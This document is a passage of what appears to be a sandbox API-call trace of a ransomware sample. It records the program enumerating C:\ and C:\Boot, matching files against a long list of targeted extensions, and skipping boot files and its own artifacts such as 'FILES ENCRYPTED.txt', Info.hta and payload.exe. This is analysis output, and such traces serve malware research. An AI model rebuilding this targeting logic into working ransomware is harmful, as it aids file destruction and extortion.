[0057.651] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".epsf") returned 5 [0057.651] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0057.651] lstrlenW (lpString=".epsp") returned 5 [0057.651] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0057.651] lstrlenW (lpString=".erf") returned 4 [0057.651] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".exr") returned 4 [0057.651] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".f4v") returned 4 [0057.651] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".fido") returned 5 [0057.651] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0057.651] lstrlenW (lpString=".flm") returned 4 [0057.651] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".flv") returned 4 [0057.651] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".frm") returned 4 [0057.651] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".fxg") returned 4 [0057.651] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".geo") returned 4 [0057.652] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".gif") returned 4 [0057.652] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".grs") returned 4 [0057.652] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".gz") returned 3 [0057.652] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0057.652] lstrlenW (lpString=".h") returned 2 [0057.652] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0057.652] lstrlenW (lpString=".hdr") returned 4 [0057.652] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".hpp") returned 4 [0057.652] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".hta") returned 4 [0057.652] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".htc") returned 4 [0057.652] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".htm") returned 4 [0057.652] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".html") returned 5 [0057.652] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0057.652] lstrlenW (lpString=".icb") returned 4 [0057.652] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".ics") returned 4 [0057.652] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".iff") returned 4 [0057.652] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".inc") returned 4 [0057.652] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0057.652] lstrlenW (lpString=".indd") returned 5 [0057.652] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0057.653] lstrlenW (lpString=".ini") returned 4 [0057.653] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0057.653] lstrlenW (lpString="desktop.ini") returned 11 [0057.653] lstrlenW (lpString=".PPHL") returned 5 [0057.653] lstrcmpiW (lpString1=".PPHL", lpString2="p.ini") returned -1 [0057.653] lstrlenW (lpString="desktop.ini") returned 11 [0057.653] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0057.653] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0057.653] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0057.653] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0057.653] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0057.653] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0057.653] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0057.653] lstrcmpiW (lpString1="payload.exe", lpString2="desktop.ini") returned 1 [0057.653] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.653] FindNextFileW (in: hFindFile=0x37b12c0, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0057.653] FindClose (in: hFindFile=0x37b12c0 | out: hFindFile=0x37b12c0) returned 1 [0057.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a12b8 | out: hHeap=0x5d0000) returned 1 [0057.653] FindNextFileW (in: hFindFile=0x37a0270, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0057.653] FindClose (in: hFindFile=0x37a0270 | out: hFindFile=0x37a0270) returned 1 [0057.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3790268 | out: hHeap=0x5d0000) returned 1 [0057.653] FindNextFileW (in: hFindFile=0x65e210, lpFindFileData=0x2f3fd00 | out: lpFindFileData=0x2f3fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0057.654] lstrlenW (lpString="C:\\Boot") returned 7 [0057.654] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0057.654] lstrlenW (lpString="Boot") returned 4 [0057.654] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0057.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3790268 [0057.654] lstrlenW (lpString="C:\\Boot") returned 7 [0057.654] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x628500 [0057.654] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.654] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0057.654] lstrlenW (lpString="BCD") returned 3 [0057.654] lstrlenW (lpString=".1cd") returned 4 [0057.654] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0057.654] lstrlenW (lpString=".3ds") returned 4 [0057.654] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0057.654] lstrlenW (lpString=".3fr") returned 4 [0057.655] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".3g2") returned 4 [0057.655] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".3gp") returned 4 [0057.655] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".7z") returned 3 [0057.655] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0057.655] lstrlenW (lpString=".accda") returned 6 [0057.655] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".accdb") returned 6 [0057.655] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".accdc") returned 6 [0057.655] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".accde") returned 6 [0057.655] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".accdt") returned 6 [0057.655] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".accdw") returned 6 [0057.655] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".adb") returned 4 [0057.655] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".adp") returned 4 [0057.655] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".ai") returned 3 [0057.655] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0057.655] lstrlenW (lpString=".ai3") returned 4 [0057.655] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".ai4") returned 4 [0057.655] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".ai5") returned 4 [0057.655] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".ai6") returned 4 [0057.655] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".ai7") returned 4 [0057.655] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".ai8") returned 4 [0057.655] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0057.655] lstrlenW (lpString=".anim") returned 5 [0057.656] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".arw") returned 4 [0057.656] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".as") returned 3 [0057.656] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0057.656] lstrlenW (lpString=".asa") returned 4 [0057.656] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".asc") returned 4 [0057.656] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".ascx") returned 5 [0057.656] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".asm") returned 4 [0057.656] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".asmx") returned 5 [0057.656] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".asp") returned 4 [0057.656] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".aspx") returned 5 [0057.656] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".asr") returned 4 [0057.656] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".asx") returned 4 [0057.656] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".avi") returned 4 [0057.656] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".avs") returned 4 [0057.656] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".backup") returned 7 [0057.656] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".bak") returned 4 [0057.656] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".bay") returned 4 [0057.656] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".bd") returned 3 [0057.656] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0057.656] lstrlenW (lpString=".bin") returned 4 [0057.656] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0057.656] lstrlenW (lpString=".bmp") returned 4 [0057.656] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".bz2") returned 4 [0057.657] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".c") returned 2 [0057.657] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0057.657] lstrlenW (lpString=".cdr") returned 4 [0057.657] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cer") returned 4 [0057.657] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cf") returned 3 [0057.657] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0057.657] lstrlenW (lpString=".cfc") returned 4 [0057.657] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cfm") returned 4 [0057.657] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cfml") returned 5 [0057.657] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cfu") returned 4 [0057.657] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".chm") returned 4 [0057.657] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cin") returned 4 [0057.657] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".class") returned 6 [0057.657] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".clx") returned 4 [0057.657] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".config") returned 7 [0057.657] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cpp") returned 4 [0057.657] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cr2") returned 4 [0057.657] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".crt") returned 4 [0057.657] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".crw") returned 4 [0057.657] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0057.657] lstrlenW (lpString=".cs") returned 3 [0057.657] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0057.657] lstrlenW (lpString=".css") returned 4 [0057.658] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".csv") returned 4 [0057.658] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".cub") returned 4 [0057.658] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dae") returned 4 [0057.658] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dat") returned 4 [0057.658] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".db") returned 3 [0057.658] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0057.658] lstrlenW (lpString=".dbf") returned 4 [0057.658] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dbx") returned 4 [0057.658] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dc3") returned 4 [0057.658] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dcm") returned 4 [0057.658] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dcr") returned 4 [0057.658] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".der") returned 4 [0057.658] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dib") returned 4 [0057.658] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dic") returned 4 [0057.658] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dif") returned 4 [0057.658] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".divx") returned 5 [0057.658] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".djvu") returned 5 [0057.658] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".dng") returned 4 [0057.658] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".doc") returned 4 [0057.658] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0057.658] lstrlenW (lpString=".docm") returned 5 [0057.659] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".docx") returned 5 [0057.659] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dot") returned 4 [0057.659] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dotm") returned 5 [0057.659] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dotx") returned 5 [0057.659] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dpx") returned 4 [0057.659] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dqy") returned 4 [0057.659] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dsn") returned 4 [0057.659] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dt") returned 3 [0057.659] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0057.659] lstrlenW (lpString=".dtd") returned 4 [0057.659] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dwg") returned 4 [0057.659] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dwt") returned 4 [0057.659] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".dx") returned 3 [0057.659] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0057.659] lstrlenW (lpString=".dxf") returned 4 [0057.659] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".edml") returned 5 [0057.659] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".efd") returned 4 [0057.659] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".elf") returned 4 [0057.659] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".emf") returned 4 [0057.659] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".emz") returned 4 [0057.659] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0057.659] lstrlenW (lpString=".epf") returned 4 [0057.659] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".eps") returned 4 [0057.660] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".epsf") returned 5 [0057.660] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".epsp") returned 5 [0057.660] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".erf") returned 4 [0057.660] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".exr") returned 4 [0057.660] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".f4v") returned 4 [0057.660] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0057.660] lstrlenW (lpString=".fido") returned 5 [0057.660] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0057.660] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.662] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.662] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.662] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.662] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.662] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0057.662] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.662] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.663] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.663] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.663] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.663] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0057.663] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.664] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.664] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, 